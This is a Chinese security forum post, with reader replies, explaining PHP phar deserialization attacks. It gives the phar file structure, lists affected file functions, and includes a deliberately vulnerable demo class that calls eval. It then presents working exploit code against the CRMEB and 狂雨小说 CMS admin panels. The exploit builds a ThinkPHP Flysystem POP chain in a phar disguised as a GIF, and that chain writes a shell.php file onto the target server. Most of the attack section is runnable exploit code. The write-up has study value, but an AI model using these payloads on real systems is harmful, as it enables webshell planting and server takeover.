用户
搜索
  • TA的每日心情
    开心
    2018-12-11 19:06
  • 签到天数: 9 天

    连续签到: 1 天

    [LV.3]经常看看I

    i春秋作家

    Rank: 7Rank: 7Rank: 7

    17

    主题

    58

    帖子

    519

    魔法币
    收听
    1
    粉丝
    2
    注册时间
    2016-6-22

    i春秋签约作者

    发表于 2020-7-22 21:59:45 73895
    本帖最后由 佳哥 于 2020-7-22 21:59 编辑

    一、phar文件的结构
    • a stub是一个文件标志,格式为 :xxx<?php xxx;__HALT_COMPILER();?>。
    • manifest是被压缩的文件的属性等放在这里,这部分是以序列化存储的,是主要的攻击点。
    • contents是被压缩的内容。
    • signature 签名,放在文件末尾。

    二、受影响的函数

    fileatime is_readable filemtime file_exists parse_ini_file fileperms
    file_put_contents unlink is_executable filegroup is_writable is_link
    fileinode filectime is_writeable fileowner file_get_contents copy
    is_dir file stat is_file fopen readfile

    三、漏洞复现
    先写一段简单的代码,如下:
    <?php
    class A{
        public $name;
        public function __construct(){
            echo "对象创建调用<br>";
        }
        public function __destruct(){
            eval($this->name);
        }
    }
    file_exists($_GET['file']);
    ?>

    phar反序列化可以不用unserialize函数的可控,只需要满足上面的危险函数可控,就可以造成反序列化的攻击,大大增加了反序列化漏洞的挖掘。这里,利用以下代码生成phar文件:
    <?php
        class A {
            public function __construct(){
                $this->name = 'phpinfo();';
            }
        }
    
        @unlink("phar.phar");
        $phar = new Phar("phar.phar");
        $phar->startBuffering();
        $phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub
        $o = new A();
        $phar->setMetadata($o); //将自定义meta-data存入manifest
        $phar->addFromString("test.txt", "test"); //添加要压缩的文件
        //签名自动计算
        $phar->stopBuffering();
    ?>


    phar文件是通过stub来标识的,是通过xxx<?php xxx.__HALT_COMPILER(); ?>来判断的,所以对后缀并没有要求,修改成gif,通过图片的上传点,上传到目标服务器,在利用phar://协议执行pahr文件。 1.png
    note:在php.ini中需要设置phar.readonly为off,不是无法生成phar文件
    phar.readonly = off


    四、CRMEB系统phar反序列化
    CRMEB是基于THINKPHP6.0开发的,tp6.0的反序列化链在前面的文章分析过,利用pop链生成php文件。由于是后台反序列化也只能供学习。在crmeb\app\admin\controller\system\SystemFile.php下的openfile方法中的file参数可控。
    2.png
    第66行将file赋值给了filepath变量,然后跟进67的read_file方法
    3.png
    这里$file可控,且存在执行phar反序列化的危险函数,同时这里也可以任意文件读取
    4.png
    生成phar文件,执行tp6.0反序列化漏洞,exp如下:
    <?php 
    namespace League\Flysystem\Cached\Storage{
        abstract class AbstractCache
        {
            protected $autosave = false;
            protected $cache = ["shell"=>"<?php phpinfo();?>"];
        }
    }
    
    namespace League\Flysystem\Cached\Storage{
        use League\Flysystem\Cached\Storage\AbstractCache;
        class Adapter extends AbstractCache
        {
            protected $file;
            protected $adapter;
    
            public function __construct($adapter="")
            {
                $this->file = "./public/shell.php";
                $this->adapter = $adapter;
            }
        }
    }
    
    namespace League\Flysystem\Adapter{
        class Local 
        {
            protected $writeFlags = 0;
            //对应file_put_contents的第三个参数
        }
    }
    
    namespace{
        $local = new League\Flysystem\Adapter\Local();
        $cache = new League\Flysystem\Cached\Storage\Adapter($local);
        @unlink("phar.phar");
        $phar = new Phar("phar.phar");
        $phar->startBuffering();
        $phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub
        $phar->setMetadata($cache); //将自定义meta-data存入manifest
        $phar->addFromString("test.txt", "test"); //添加要压缩的文件
        //签名自动计算
        $phar->stopBuffering();
        echo urlencode(serialize($cache));
    }

    将生成的phar文件修改成gif文件,找一处上传gif图片的点,上传这个pahr文件,在添加商品处:admin/store.StoreProduct/create.html
    5.png
    利用phar协议造成反序列化漏洞
    6.png

    五、狂雨小说cms phar反序列化
    狂雨小说cms最新版是基于tp5.1.33开发的,此漏洞在后台触发。在控制器\application\admin\controller\Ranking.php中的delAllFiles方法,dir参数可控
    7.png
    利用tp5.1.x的pop链生成phar文件,exp如下:
    1.png
    2.png
    修改后缀为gif,找一处图片上传的点,将phar.gif上传
    8.png
    最后利用phar协议执行gif文件进行反序列攻击。
    9.png


    本帖被以下淘专辑推荐:

    • · 1|主题: 1, 订阅: 0
    师傅好强!
    使用道具 举报 回复
    大佬6666
    使用道具 举报 回复
    发表于 2020-7-23 10:16:31
    佳哥,牛批!
    使用道具 举报 回复
    发表于 2020-7-23 16:01:30
    学习了~
    使用道具 举报 回复
    佳哥出品,必属精品啊
    使用道具 举报 回复
    佳哥出品,必属精品啊
    使用道具 举报 回复
    卧槽,看不懂……
    使用道具 举报 回复
    发新帖
    您需要登录后才可以回帖 登录 | 立即注册